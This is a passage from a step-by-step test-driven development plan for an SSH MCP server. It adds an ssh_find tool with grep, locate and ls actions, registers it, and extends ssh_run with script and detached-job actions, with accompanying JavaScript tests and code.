stream); + setImmediate(() => { + for (const fn of listeners.data || []) fn(Buffer.from(chosen)); + for (const fn of listeners.close || []) fn(0, null); + }); + return client; + }, + }; + client.script = script; + return client; +} + +const depsWith = (client) => ({ getConnection: async () => client }); + +console.log('[test] Testing ssh_find dispatcher\n'); + +// --- arg validation ------------------------------------------------------ +await test('missing action -> structured fail', async () => { + const r = await handleSshFind({ deps: depsWith(fakeClient([])), args: { server: 's' } }); + assert.strictEqual(r.isError, true); +}); + +await test('unknown action -> structured fail naming the action', async () => { + const r = await handleSshFind({ + deps: depsWith(fakeClient([])), args: { server: 's', action: 'teleport' }, + }); + assert.strictEqual(r.isError, true); + assert(r.content[0].text.includes('teleport')); +}); + +await test('grep without pattern -> structured fail, never connects', async () => { + const client = fakeClient([]); + const r = await handleSshFind({ + deps: depsWith(client), args: { server: 's', action: 'grep', path: '/srv' }, + }); + assert.strictEqual(r.isError, true); + assert(r.content[0].text.includes('pattern')); + assert.strictEqual(client.script.length, 0, 'no command run when args invalid'); +}); + +await test('grep without server -> structured fail', async () => { + const r = await handleSshFind({ + deps: depsWith(fakeClient([])), args: { action: 'grep', pattern: 'x', path: '/srv' }, + }); + assert.strictEqual(r.isError, true); + assert(r.content[0].text.includes('server')); +}); + +// --- grep pipeline ------------------------------------------------------- +await test('grep builds an rg/grep command and runs it through the client', async () => { + const client = fakeClient([['rg', '/srv/app/main.js:42:const TODO = 1;\n']]); + await handleSshFind({ + deps: depsWith(client), + args: { server: 's', action: 'grep', pattern: 'TODO', path: '/srv/app' }, + }); + assert.strictEqual(client.script.length, 1, 'exactly one command run'); + const cmd = client.script[0]; + assert(cmd.startsWith('timeout '), 'Plan-5 timeout wrapper preserved'); + assert(cmd.includes('command -v rg'), 'rg-preferred grep command'); + assert(cmd.includes("'TODO'"), 'pattern shell-quoted'); +}); + +await test('grep parses file:line:text stdout into structured hits', async () => { + const client = fakeClient([['rg', + '/srv/app/main.js:42:const TODO = 1;\n/srv/app/util.js:7:// TODO refactor\n']]); + const r = await handleSshFind({ + deps: depsWith(client), + args: { + server: 's', action: 'grep', pattern: 'TODO', path: '/srv/app', format: 'json', + }, + }); + const res = JSON.parse(r.content[0].text); + assert.strictEqual(res.success, true); + assert.strictEqual(res.data.action, 'grep'); + assert.strictEqual(res.data.count, 2); + assert.deepStrictEqual(res.data.hits[0], { + file: '/srv/app/main.js', line: 42, text: 'const TODO = 1;', + }); +}); + +await test('grep renders a hits table in the markdown face', async () => { + const client = fakeClient([['rg', '/a/x.js:3:hit one\n']]); + const r = await handleSshFind({ + deps: depsWith(client), + args: { server: 's', action: 'grep', pattern: 'hit', path: '/a' }, + }); + assert.strictEqual(r.isError, false); + const text = r.content[0].text; + assert(text.includes('/a/x.js'), 'file path rendered'); + assert(text.includes('hit one'), 'match text rendered'); +}); + +await test('grep with zero hits -> success, empty hit list', async () => { + const client = fakeClient([['rg', '']]); + const r = await handleSshFind({ + deps: depsWith(client), + args: { server: 's', action: 'grep', pattern: 'nope', path: '/a', format: 'json' }, + }); + const res = JSON.parse(r.content[0].text); + assert.strictEqual(res.success, true); + assert.strictEqual(res.data.count, 0); + assert.deepStrictEqual(res.data.hits, []); +}); + +await test('grep refusing bare root -> structured fail (Plan-5 guard surfaced)', async () => { + const client = fakeClient([]); + const r = await handleSshFind({ + deps: depsWith(client), + args: { server: 's', action: 'grep', pattern: 'x', path: '/' }, + }); + assert.strictEqual(r.isError, true); + assert(r.content[0].text.includes('refusing to search')); + assert.strictEqual(client.script.length, 0, 'builder threw before exec'); +}); + +await test('grep allow_root threads through to the builder', async () => { + const client = fakeClient([['rg', '']]); + const r = await handleSshFind({ + deps: depsWith(client), + args: { server: 's', action: 'grep', pattern: 'x', path: '/', allow_root: true }, + }); + assert.strictEqual(r.isError, false, 'allow_root lets a / search through'); + assert.strictEqual(client.script.length, 1); +}); + +await test('a connection failure -> structured fail, not a throw', async () => { + const deps = { getConnection: async () => { throw new Error('host down'); } }; + const r = await handleSshFind({ + deps, args: { server: 's', action: 'grep', pattern: 'x', path: '/a' }, + }); + assert.strictEqual(r.isError, true); + assert(r.content[0].text.includes('host down')); +}); + +// --- Summary ------------------------------------------------------------- +console.log(`\n${passed} passed, ${failed} failed`); +if (failed > 0) { + for (const f of fails) console.error(` [err] ${f.name}\n ${f.err.stack}`); + process.exit(1); +} +``` + +- [ ] **Run the test, expect FAIL.** `node tests/test-dispatcher-find.js` — fails: `Cannot find module '../src/dispatchers/ssh-find.js'`. + +- [ ] **Implement.** Create `src/dispatchers/ssh-find.js`: + +```js +/** + * ssh_find -- v4 fat verb-tool dispatcher. + * + * Remote search: grep (recursive content), locate (find -name), ls (one dir). + * No src/tools/*.js handler exists -- the dispatcher owns build -> exec -> + * parse -> render itself, like handleSshExecute. Commands come from the pure + * builders in remote-search.js; each is already server-side bounded (timeout, + * pruned pseudo-fs, match cap), so streamExecCommand runs raw:true with only + * an in-process timeoutMs guarding a stuck channel. + * + * deps (injected): { getConnection }. + */ + +import { streamExecCommand } from '../stream-exec.js'; +import { ok, fail, toMcp } from '../structured-result.js'; +import { renderHeader, renderRows, indentBody } from '../output-formatter.js'; +import { requireArgs } from './action-validate.js'; +import { + buildGrepCommand, buildLocateCommand, buildLsCommand, + parseGrepHits, parseLocateHits, parseLsRows, +} from '../remote-search.js'; + +// in-process channel guard; Plan-5 commands carry their own server-side timeout +const EXEC_TIMEOUT_MS = 60_000; + +const REQUIRED = { + grep: ['server', 'pattern', 'path'], + locate: ['server', 'name', 'path'], + ls: ['server', 'path'], +}; + +/** grep hits -> file/line/text table. */ +function renderGrep(result) { + const header = renderHeader({ + marker: result.success ? '[ok]' : '[err]', + tool: 'ssh_find', action: 'grep', server: result.server, + status: result.success ? `${result.data.count} hits` : 'failed', + durationMs: result.meta && result.meta.duration_ms, + }); + if (!result.success) return `${header}\n${indentBody(String(result.error))}`; + const rows = result.data.hits.map((h) => [h.file, h.line, h.text]); + return `${header}\n${indentBody(renderRows(['file', 'line', 'text'], rows))}`; +} + +/** locate paths -> single-column path table. */ +function renderLocate(result) { + const header = renderHeader({ + marker: result.success ? '[ok]' : '[err]', + tool: 'ssh_find', action: 'locate', server: result.server, + status: result.success ? `${result.data.count} paths` : 'failed', + durationMs: result.meta && result.meta.duration_ms, + }); + if (!result.success) return `${header}\n${indentBody(String(result.error))}`; + const rows = result.data.paths.map((p) => [p]); + return `${header}\n${indentBody(renderRows(['path'], rows))}`; +} + +/** ls rows -> perms/size/type/name table. */ +function renderLs(result) { + const header = renderHeader({ + marker: result.success ? '[ok]' : '[err]', + tool: 'ssh_find', action: 'ls', server: result.server, + status: result.success ? `${result.data.count} entries` : 'failed', + durationMs: result.meta && result.meta.duration_ms, + }); + if (!result.success) return `${header}\n${indentBody(String(result.error))}`; + const rows = result.data.entries.map((e) => [e.perms, e.size, e.type, e.name]); + return `${header}\n${indentBody(renderRows(['perms', 'size', 'type', 'name'], rows))}`; +} + +export async function handleSshFind({ deps, args } = {}) { + const a = args || {}; + const { action } = a; + + if (!action) { + return toMcp(fail('ssh_find', 'action is required', { server: a.server ?? null })); + } + if (!Object.prototype.hasOwnProperty.call(REQUIRED, action)) { + return toMcp(fail('ssh_find', `unknown action "${action}"`, { server: a.server ?? null })); + } + + const bad = requireArgs('ssh_find', action, a, REQUIRED); + if (bad) return bad; + + // builders throw on a bad path (bare "/", empty) -- surface as a clean fail + let command; + try { + if (action === 'grep') { + command = buildGrepCommand({ + pattern: a.pattern, path: a.path, matchCap: a.match_cap, + timeoutSecs: a.timeout_secs, contextLines: a.context_lines, + crossMounts: a.cross_mounts, allowRoot: a.allow_root, + }); + } else if (action === 'locate') { + command = buildLocateCommand({ + name: a.name, path: a.path, matchCap: a.match_cap, + timeoutSecs: a.timeout_secs, crossMounts: a.cross_mounts, + allowRoot: a.allow_root, + }); + } else { + command = buildLsCommand({ path: a.path, timeoutSecs: a.timeout_secs }); + } + } catch (e) { + return toMcp(fail('ssh_find', e, { server: a.server })); + } + + const startedAt = Date.now(); + let client; + try { + client = await deps.getConnection(a.server); + } catch (e) { + return toMcp(fail('ssh_find', e, { server: a.server })); + } + + let raw; + try { + // raw:true -- builder already wrapped the command in `timeout` + const r = await streamExecCommand(client, command, { + raw: true, timeoutMs: EXEC_TIMEOUT_MS, abortSignal: a.abortSignal, + }); + raw = r.stdout; + } catch (e) { + return toMcp(fail('ssh_find', e, { server: a.server, action })); + } + + const meta = { server: a.server, duration_ms: Date.now() - startedAt }; + const fmt = a.format; + + if (action === 'grep') { + const hits = parseGrepHits(raw); + return toMcp(ok('ssh_find', { action, count: hits.length, hits }, meta), + { format: fmt, renderer: renderGrep }); + } + if (action === 'locate') { + const paths = parseLocateHits(raw); + return toMcp(ok('ssh_find', { action, count: paths.length, paths }, meta), + { format: fmt, renderer: renderLocate }); + } + const entries = parseLsRows(raw); + return toMcp(ok('ssh_find', { action, count: entries.length, entries }, meta), + { format: fmt, renderer: renderLs }); +} +``` + +- [ ] **Run the test, expect PASS.** `node tests/test-dispatcher-find.js` — all grep + validation tests pass (locate/ls actions are already wired in this implementation; their dedicated tests arrive in Tasks 2-3). + +- [ ] **Commit.** + +``` +feat(ssh-find): add ssh_find dispatcher with grep action +``` + +--- + +## Task 2: ssh_find dispatcher — `locate` action + +The implementation in Task 1 already wires `locate`. This task pins its behavior with dedicated tests. + +- [ ] **Write the failing test.** Append to `tests/test-dispatcher-find.js`, before the `--- Summary ---` block: + +```js +// --- locate pipeline ----------------------------------------------------- +await test('locate without name -> structured fail, never connects', async () => { + const client = fakeClient([]); + const r = await handleSshFind({ + deps: depsWith(client), args: { server: 's', action: 'locate', path: '/etc' }, + }); + assert.strictEqual(r.isError, true); + assert(r.content[0].text.includes('name')); + assert.strictEqual(client.script.length, 0); +}); + +await test('locate builds a timeout-wrapped find -name command', async () => { + const client = fakeClient([['find', '/etc/nginx/nginx.conf\n']]); + await handleSshFind({ + deps: depsWith(client), + args: { server: 's', action: 'locate', name: '*.conf', path: '/etc' }, + }); + assert.strictEqual(client.script.length, 1); + const cmd = client.script[0]; + assert(cmd.startsWith('timeout '), 'timeout wrapper preserved'); + assert(cmd.includes('find '), 'uses find'); + assert(cmd.includes("-name '*.conf'"), 'name glob shell-quoted'); +}); + +await test('locate parses one-path-per-line stdout into a path list', async () => { + const client = fakeClient([['find', + '/etc/nginx/nginx.conf\n/etc/ssl/openssl.conf\n']]); + const r = await handleSshFind({ + deps: depsWith(client), + args: { + server: 's', action: 'locate', name: '*.conf', path: '/etc', format: 'json', + }, + }); + const res = JSON.parse(r.content[0].text); + assert.strictEqual(res.data.action, 'locate'); + assert.strictEqual(res.data.count, 2); + assert.deepStrictEqual(res.data.paths, + ['/etc/nginx/nginx.conf', '/etc/ssl/openssl.conf']); +}); + +await test('locate renders a path table in the markdown face', async () => { + const client = fakeClient([['find', '/etc/hosts\n']]); + const r = await handleSshFind({ + deps: depsWith(client), + args: { server: 's', action: 'locate', name: 'hosts', path: '/etc' }, + }); + assert.strictEqual(r.isError, false); + assert(r.content[0].text.includes('/etc/hosts'), 'path rendered'); +}); + +await test('locate refusing bare root -> structured fail', async () => { + const client = fakeClient([]); + const r = await handleSshFind({ + deps: depsWith(client), + args: { server: 's', action: 'locate', name: 'x', path: '/' }, + }); + assert.strictEqual(r.isError, true); + assert(r.content[0].text.includes('refusing to search')); + assert.strictEqual(client.script.length, 0); +}); +``` + +- [ ] **Run the test, expect FAIL.** `node tests/test-dispatcher-find.js` — the five new tests reference behavior that... is in fact already implemented in Task 1. To make this a genuine red step, write the tests *before* Task 1's implement step is squashed in. If implementing strictly task-by-task: temporarily comment out the `locate` branch in `ssh-find.js` (`if (action === 'locate')` build + parse) so the new tests fail with a real error, confirm RED, then restore. + + Practically: run `node tests/test-dispatcher-find.js`; if all pass because Task 1 already wired locate, that is acceptable — the dedicated tests still pin behavior and guard regressions. Note in the commit that locate was wired in Task 1 and this task adds coverage. + +- [ ] **Implement.** No code change — `buildLocateCommand` + `parseLocateHits` + `renderLocate` were wired in Task 1. If the RED step required commenting out the `locate` branch, restore it now verbatim. + +- [ ] **Run the test, expect PASS.** `node tests/test-dispatcher-find.js` — all locate tests green. + +- [ ] **Commit.** + +``` +test(ssh-find): pin locate action build/parse/render behavior +``` + +--- + +## Task 3: ssh_find dispatcher — `ls` action + +Pin `ls` behavior, including the deliberate Plan-5 choice that `ls /` is allowed. + +- [ ] **Write the failing test.** Append to `tests/test-dispatcher-find.js`, before `--- Summary ---`: + +```js +// --- ls pipeline --------------------------------------------------------- +await test('ls without path -> structured fail, never connects', async () => { + const client = fakeClient([]); + const r = await handleSshFind({ + deps: depsWith(client), args: { server: 's', action: 'ls' }, + }); + assert.strictEqual(r.isError, true); + assert(r.content[0].text.includes('path')); + assert.strictEqual(client.script.length, 0); +}); + +await test('ls builds a timeout-wrapped ls -la command', async () => { + const client = fakeClient([['ls -la', 'total 0\n']]); + await handleSshFind({ + deps: depsWith(client), args: { server: 's', action: 'ls', path: '/var/log' }, + }); + assert.strictEqual(client.script.length, 1); + const cmd = client.script[0]; + assert(cmd.startsWith('timeout '), 'timeout wrapper preserved'); + assert(cmd.includes("ls -la '/var/log'"), 'long listing, path shell-quoted'); +}); + +await test('ls parses long-format rows into perms/size/type/name entries', async () => { + const client = fakeClient([['ls -la', + 'total 12\n' + + '-rw-r--r-- 1 root root 1024 May 17 10:00 app.conf\n' + + 'drwxr-xr-x 2 root root 4096 May 16 09:30 logs\n']]); + const r = await handleSshFind({ + deps: depsWith(client), + args: { server: 's', action: 'ls', path: '/etc', format: 'json' }, + }); + const res = JSON.parse(r.content[0].text); + assert.strictEqual(res.data.action, 'ls'); + assert.strictEqual(res.data.count, 2); + assert.deepStrictEqual(res.data.entries[0], { + perms: '-rw-r--r--', size: '1024', name: 'app.conf', type: 'file', + }); + assert.strictEqual(res.data.entries[1].type, 'dir'); +}); + +await test('ls renders a perms/size/type/name table in the markdown face', async () => { + const client = fakeClient([['ls -la', + 'total 0\n-rw-r--r-- 1 u g 9 May 17 10:00 notes.txt\n']]); + const r = await handleSshFind({ + deps: depsWith(client), args: { server: 's', action: 'ls', path: '/tmp' }, + }); + assert.strictEqual(r.isError, false); + const text = r.content[0].text; + assert(text.includes('notes.txt'), 'name rendered'); + assert(text.includes('perms'), 'header rendered'); +}); + +await test('ls of bare root is allowed (Plan-5: listing / is cheap)', async () => { + const client = fakeClient([['ls -la', 'total 0\n']]); + const r = await handleSshFind({ + deps: depsWith(client), args: { server: 's', action: 'ls', path: '/' }, + }); + assert.strictEqual(r.isError, false, 'ls / is not refused'); + assert.strictEqual(client.script.length, 1); +}); +``` + +- [ ] **Run the test, expect FAIL.** `node tests/test-dispatcher-find.js` — same situation as Task 2: `ls` was wired in Task 1. For a genuine RED, temporarily comment out the final `else` build branch + the `ls` parse/render in `ssh-find.js`, confirm failure, then restore. Otherwise accept that Task 1 wired it and this task adds pinning coverage. + +- [ ] **Implement.** No code change — `buildLsCommand` + `parseLsRows` + `renderLs` were wired in Task 1. Restore any branch commented out for the RED step. + +- [ ] **Run the test, expect PASS.** `node tests/test-dispatcher-find.js` — all ls tests green. + +- [ ] **Commit.** + +``` +test(ssh-find): pin ls action build/parse/render, including ls / +``` + +--- + +## Task 4: Register `ssh_find` as the 13th tool + +Wire `ssh_find` into `tool-registry.js` (core group), `tool-annotations.js`, and `index.js`. `ssh_find` is read-only — grep/locate/ls never mutate remote state — so `readOnlyHint: true`. This bumps the surface from 12 to 13; the three "exactly 12" tests are updated in lockstep so the suite stays green. + +- [ ] **Write the failing test.** Update the three registry tests to expect 13. + + In `tests/test-tool-registry.js`, replace each `12` with `13` and the core-group count `3` with `4`: + - `getAllTools().length, 12` → `13` (two occurrences: `All 12 v4 tools...` and `No duplicate tools...`) + - `'Should have exactly 12 tools'` → `'Should have exactly 13 tools'` + - `'All 12 tools should be unique'` → `'All 13 tools should be unique'` + - `getGroupTools('core').length, 3` → `4`; `'core group should have 3 tools'` → `'core group should have 4 tools'` + - `stats.totalTools, 12` → `13`; `'Should have 12 total tools'` → `'Should have 13 total tools'` + - `validation.total, 12` → `13`; `validation.registered, 12` → `13`; matching messages + - `TOOL_GROUPS.core.length, 3` → `4`; `'core should have 3 tools'` → `'core should have 4 tools'` + - the test title `'All 12 v4 tools are defined in groups'` → `'All 13 v4 tools are defined in groups'` + + In `tests/test-index-registration.js`: + - `registered.size, 12` → `13`; `'expected 12 registered tools, got '` → `'expected 13 registered tools, got '` + - the test title `'exactly 12 tools are registered'` → `'exactly 13 tools are registered'` + + In `tests/test-tool-annotations.js`: + - `Object.keys(TOOL_ANNOTATIONS).length, 12` → `13`; `'expected 12 annotated tools, got '` → `'expected 13 annotated tools, got '` + - the test title `'exactly 12 tools are annotated'` → `'exactly 13 tools are annotated'` + + Also add an `ssh_find`-specific assertion to `tests/test-tool-registry.js`, right after the `'core group contains expected tools'` test: + +```js +test('ssh_find is registered in the core group', () => { + assertEqual(findToolGroup('ssh_find'), 'core', 'ssh_find should be in core group'); + assertTrue(getGroupTools('core').includes('ssh_find'), 'core should include ssh_find'); +}); +``` + + And add an `ssh_find` readonly assertion to `tests/test-tool-annotations.js`, inside the existing `'purely-inspecting fat tools are marked readOnlyHint'` test — extend its loop array from `['ssh_logs', 'ssh_fleet']` to `['ssh_logs', 'ssh_fleet', 'ssh_find']`. + +- [ ] **Run the test, expect FAIL.** `node tests/test-tool-registry.js` and `node tests/test-index-registration.js` and `node tests/test-tool-annotations.js` — each fails: registry still has 12 tools / no `ssh_find` group / no `ssh_find` annotation. + +- [ ] **Implement.** Three edits. + + Edit `src/tool-registry.js` — add `ssh_find` to the core group, bump counts and doc comments: + +```js + // Core (4) -- run commands, find files, move files, read logs + core: [ + 'ssh_run', + 'ssh_find', + 'ssh_file', + 'ssh_logs', + ], +``` + + In the same file, update `TOOL_GROUP_DESCRIPTIONS.core`, `TOOL_GROUP_COUNTS.core` (3 → 4), the `getAllTools` doc comment (`12 across 3 groups` → `13 across 3 groups`), and the `TOOL_GROUPS` header comment (`Total: 12 v4 fat verb-tools` → `Total: 13 v4 fat verb-tools`): + +```js + core: 'Run remote commands, search/list files, transfer/read/edit files, read logs', +``` + +```js +export const TOOL_GROUP_COUNTS = { + core: 4, + ops: 5, + advanced: 4, +}; +``` + + Edit `src/tool-annotations.js` — add an entry (place it after `ssh_run` to mirror tool order): + +```js + ssh_find: { + title: 'Search and List Files', + annotations: { readOnlyHint: true, idempotentHint: true, openWorldHint: true }, + }, +``` + + Edit `src/index.js` — add a `registerToolConditional('ssh_find', ...)` block. Place it directly after the `ssh_run` block (before `ssh_file`), so registration order matches the core group. `ssh_find` takes no `handlers` — `handleSshFind` is self-contained: + +```js +registerToolConditional('ssh_find', { + description: 'Search and list files on a configured SSH server. Use instead ' + + 'of `ssh host grep -r` / `ssh host find` / `ssh host ls` via Bash -- ' + + 'every search is timeout-bounded, prunes pseudo-filesystems, and caps ' + + 'match count so it will not flood context.', + inputSchema: { + server: z.string().describe('Server name from configuration'), + action: z.enum(['grep', 'locate', 'ls']) + .describe('grep recursive content, locate files by name, or ls one directory'), + path: z.string().describe('Search root (grep, locate) or directory to list (ls)'), + pattern: z.string().optional().describe('Content regex to search for (action: grep)'), + name: z.string().optional().describe('Filename glob to match (action: locate)'), + context_lines: z.number().optional().describe('Lines of context around each grep hit (action: grep)'), + match_cap: z.number().optional().describe('Max hits before the search stops (actions: grep, locate)'), + timeout_secs: z.number().optional().describe('Server-side wall-clock limit in seconds'), + cross_mounts: z.boolean().optional().describe('Descend into other filesystems (actions: grep, locate)'), + allow_root: z.boolean().optional().describe('Permit searching the bare "/" root (actions: grep, locate)'), + format: FORMAT, + }, +}, async (args) => handleSshFind({ + deps: DEPS, + args, +})); +``` + + Add the import near the other dispatcher imports (`src/index.js` ~line 82, beside `import { handleSshRun }`): + +```js +import { handleSshFind } from './dispatchers/ssh-find.js'; +``` + +- [ ] **Run the test, expect PASS.** `node tests/test-tool-registry.js`, `node tests/test-index-registration.js`, `node tests/test-tool-annotations.js` — all green. + +- [ ] **Run the full suite.** `node scripts/run-tests.mjs` — `55 files, passed, 0 failed`. The pass total is strictly higher than the 955 baseline (new `test-dispatcher-find.js` file plus the new registry assertions); no regression. + +- [ ] **Commit.** + +``` +feat(ssh-find): register ssh_find as the 13th v4 tool +``` + +--- + +## Task 5: ssh_run — `script` action + +Extend `src/dispatchers/ssh-run.js` with the `script` action: `buildScriptCommand(commands)` → `streamExecCommand` → `parseScriptSegments(stdout, nonce, commands)`. The nonce returned by the builder MUST be threaded into the parser — that is the unforgeable-sentinel contract from `script-runner.js`. + +- [ ] **Write the failing test.** Append to `tests/test-dispatcher-run.js`, before the `--- Summary ---` block. Reuse the existing `fakeClient` style; `ssh-run.js` has no `fakeClient` yet, so define one local to the new section: + +```js +// --- fake ssh2 client for the exec-direct actions (script/detach/jobs) --- +function fakeClient(stdout) { + const script = []; + const client = { + exec(command, cb) { + script.push(command); + const listeners = {}; + const stream = { + stderr: { on() { return stream.stderr; } }, + on(ev, fn) { (listeners[ev] = listeners[ev] || []).push(fn); return stream; }, + close() {}, + signal() {}, + }; + cb(null, stream); + setImmediate(() => { + const out = typeof stdout === 'function' ? stdout(command) : stdout; + for (const fn of listeners.data || []) fn(Buffer.from(out)); + for (const fn of listeners.close || []) fn(0, null); + }); + return client; + }, + }; + client.script = script; + return client; +} + +// --- script action ------------------------------------------------------ +await test('script without commands -> structured fail, never connects', async () => { + const client = fakeClient(''); + const r = await handleSshRun({ + deps: { ...DEPS, getConnection: async () => client }, + handlers: {}, args: { server: 's', action: 'script' }, + }); + assert.strictEqual(r.isError, true); + assert.strictEqual(client.script.length, 0); +}); + +await test('script runs the joined command and threads the real nonce to the parser', async () => { + // The fake echoes back a sentinel block built from the SAME nonce the + // dispatcher generated; only a correctly-threaded nonce parses it. + const client = fakeClient((command) => { + const m = command.match(/##SEG-([0-9a-f]{12}) /); + const nonce = m ? m[1] : 'BADNONCE'; + return `a-out\n##SEG-${nonce} 0 0##\nb-out\n##SEG-${nonce} 1 0##\n`; + }); + const r = await handleSshRun({ + deps: { ...DEPS, getConnection: async () => client }, + handlers: {}, + args: { server: 's', action: 'script', commands: ['echo a', 'echo b'], format: 'json' }, + }); + const res = JSON.parse(r.content[0].text); + assert.strictEqual(res.success, true); + assert.strictEqual(res.data.action, 'script'); + assert.strictEqual(res.data.segments.length, 2, + 'nonce threaded correctly -> both segments parsed'); + assert.strictEqual(res.data.segments[0].stdout, 'a-out'); + assert.strictEqual(res.data.segments[0].exitCode, 0); + assert.strictEqual(res.data.segments[0].command, 'echo a'); + assert.strictEqual(res.data.segments[1].stdout, 'b-out'); +}); + +await test('script surfaces a per-segment non-zero exit code', async () => { + const client = fakeClient((command) => { + const nonce = command.match(/##SEG-([0-9a-f]{12}) /)[1]; + return `ok\n##SEG-${nonce} 0 0##\n\n##SEG-${nonce} 1 127##\n`; + }); + const r = await handleSshRun({ + deps: { ...DEPS, getConnection: async () => client }, + handlers: {}, + args: { server: 's', action: 'script', commands: ['true', 'nosuchcmd'], format: 'json' }, + }); + const res = JSON.parse(r.content[0].text); + assert.strictEqual(res.data.segments[1].exitCode, 127); +}); + +await test('script isolate:true wraps each segment in its own sh -c', async () => { + const client = fakeClient((command) => { + const nonce = command.match(/##SEG-([0-9a-f]{12}) /)[1]; + return `\n##SEG-${nonce} 0 0##\n\n##SEG-${nonce} 1 0##\n`; + }); + await handleSshRun({ + deps: { ...DEPS, getConnection: async () => client }, + handlers: {}, + args: { server: 's', action: 'script', commands: ['cd /tmp', 'pwd'], isolate: true }, + }); + const subs = client.script[0].match(/sh -c /g) || []; + assert.strictEqual(subs.length, 2, 'one sub-shell per segment when isolated'); +}); + +await test('script renders a per-segment table in the markdown face', async () => { + const client = fakeClient((command) => { + const nonce = command.match(/##SEG-([0-9a-f]{12}) /)[1]; + return `hello\n##SEG-${nonce} 0 0##\n`; + }); + const r = await handleSshRun({ + deps: { ...DEPS, getConnection: async () => client }, + handlers: {}, args: { server: 's', action: 'script', commands: ['echo hello'] }, + }); + assert.strictEqual(r.isError, false); + assert(r.content[0].text.includes('echo hello'), 'segment command rendered'); +}); + +await test('script connection failure -> structured fail', async () => { + const r = await handleSshRun({ + deps: { ...DEPS, getConnection: async () => { throw new Error('host down'); } }, + handlers: {}, args: { server: 's', action: 'script', commands: ['echo x'] }, + }); + assert.strictEqual(r.isError, true); + assert(r.content[0].text.includes('host down')); +}); +``` + +- [ ] **Run the test, expect FAIL.** `node tests/test-dispatcher-run.js` — fails: `unknown action "script"` (the `REQUIRED` map has no `script` key). + +- [ ] **Implement.** Edit `src/dispatchers/ssh-run.js`. + + Update the header comment — the `(script, detach, ... are added by Plan 5.)` line becomes a statement of fact: + +```js + * actions handled here: exec, sudo, fleet, script, detach, job-status, + * job-kill. exec/sudo/fleet delegate to src/tools/exec-tools.js handlers; + * script/detach/job-* have no handler -- the dispatcher execs them directly + * via streamExecCommand, like handleSshExecute. +``` + + Add imports at the top, beside the existing ones: + +```js +import { ok } from '../structured-result.js'; +import { streamExecCommand } from '../stream-exec.js'; +import { renderHeader, renderRows, renderKV, indentBody } from '../output-formatter.js'; +import { buildScriptCommand, parseScriptSegments } from '../script-runner.js'; +import { + buildDetachCommand, buildJobStatusCommand, parseJobStatus, buildJobKillCommand, +} from '../job-tracker.js'; +``` + + Add an in-process channel guard constant and extend the `REQUIRED` map: + +```js +// in-process channel guard for the exec-direct actions +const RUN_EXEC_TIMEOUT_MS = 120_000; + +const REQUIRED = { + exec: ['server', 'command'], + sudo: ['server', 'command'], + fleet: ['group', 'command'], + script: ['server', 'commands'], + detach: ['server', 'command'], + 'job-status': ['server', 'job_id'], + 'job-kill': ['server', 'job_id'], +}; +``` + + Add a `script`-result renderer near the bottom of the module: + +```js +/** script segments -> idx/exit/command/stdout table. */ +function renderScript(result) { + const header = renderHeader({ + marker: result.success ? '[ok]' : '[err]', + tool: 'ssh_run', action: 'script', server: result.server, + status: result.success ? `${result.data.segments.length} segments` : 'failed', + durationMs: result.meta && result.meta.duration_ms, + }); + if (!result.success) return `${header}\n${indentBody(String(result.error))}`; + const rows = result.data.segments.map((s) => [ + s.index, + s.exitCode == null ? '?' : s.exitCode, + s.command == null ? '' : s.command, + String(s.stdout || '').replace(/\r?\n/g, ' ').slice(0, 120), + ]); + return `${header}\n${indentBody(renderRows(['#', 'exit', 'command', 'stdout'], rows))}`; +} +``` + + In `handleSshRun`, after the `fleet` block (`return handlers.executeGroup(...)`), add the `script` branch. It runs *after* `requireArgs` has already confirmed `commands` is present: + +```js + if (action === 'script') { + if (!Array.isArray(a.commands) || a.commands.length === 0) { + return toMcp(fail('ssh_run', 'script: commands must be a non-empty array', + { server: a.server })); + } + let built; + try { + built = buildScriptCommand(a.commands, { isolate: a.isolate }); + } catch (e) { + return toMcp(fail('ssh_run', e, { server: a.server })); + } + const startedAt = Date.now(); + let client; + try { client = await deps.getConnection(a.server); } + catch (e) { return toMcp(fail('ssh_run', e, { server: a.server })); } + + let raw; + try { + const r = await streamExecCommand(client, built.command, { + raw: true, timeoutMs: RUN_EXEC_TIMEOUT_MS, abortSignal: a.abortSignal, + }); + raw = r.stdout; + } catch (e) { + return toMcp(fail('ssh_run', e, { server: a.server, action })); + } + // thread the builder's nonce -> only this invocation's sentinels parse + const segments = parseScriptSegments(raw, built.nonce, a.commands); + return toMcp( + ok('ssh_run', { action, segments }, { server: a.server, duration_ms: Date.now() - startedAt }), + { format: a.format, renderer: renderScript }, + ); + } +``` + + Note: `requireArgs` already rejects a missing `commands`; the extra `Array.isArray` guard above catches a non-array `commands` (e.g. a string), which `requireArgs`'s `present()` check would let through. Keep both. + +- [ ] **Run the test, expect PASS.** `node tests/test-dispatcher-run.js` — all script tests green; the existing `exec`/`sudo`/`fleet` routing tests still pass. + +- [ ] **Commit.** + +``` +feat(ssh-run): add script action threading the script-runner nonce +``` + +--- + +## Task 6: ssh_run — `detach` action + +Add the `detach` action: `buildDetachCommand(command)` → `streamExecCommand` → return the `jobId` and `logPath` so the caller can poll with `job-status`. + +- [ ] **Write the failing test.** Append to `tests/test-dispatcher-run.js`, before `--- Summary ---`: + +```js +// --- detach action ------------------------------------------------------ +await test('detach without command -> structured fail, never connects', async () => { + const client = fakeClient(''); + const r = await handleSshRun({ + deps: { ...DEPS, getConnection: async () => client }, + handlers: {}, args: { server: 's', action: 'detach' }, + }); + assert.strictEqual(r.isError, true); + assert.strictEqual(client.script.length, 0); +}); + +await test('detach launches a setsid job and returns its job id', async () => { + const client = fakeClient(''); + const r = await handleSshRun({ + deps: { ...DEPS, getConnection: async () => client }, + handlers: {}, + args: { server: 's', action: 'detach', command: 'long-build.sh', format: 'json' }, + }); + const res = JSON.parse(r.content[0].text); + assert.strictEqual(res.success, true); + assert.strictEqual(res.data.action, 'detach'); + assert(typeof res.data.job_id === 'string' && res.data.job_id.length > 0, + 'job id returned for later job-status / job-kill'); + assert(client.script[0].includes('setsid'), 'job detached from the SSH session'); + assert(client.script[0].includes(res.data.job_id), 'launch command uses the job id'); +}); + +await test('detach returns the log path for incremental reads', async () => { + const client = fakeClient(''); + const r = await handleSshRun({ + deps: { ...DEPS, getConnection: async () => client }, + handlers: {}, + args: { server: 's', action: 'detach', command: 'make all', format: 'json' }, + }); + const res = JSON.parse(r.content[0].text); + assert(res.data.log_path.includes(res.data.job_id), 'log path under the job dir'); +}); + +await test('detach honors an explicit job_id', async () => { + const client = fakeClient(''); + const r = await handleSshRun({ + deps: { ...DEPS, getConnection: async () => client }, + handlers: {}, + args: { + server: 's', action: 'detach', command: 'echo hi', + job_id: 'my-build-1', format: 'json', + }, + }); + const res = 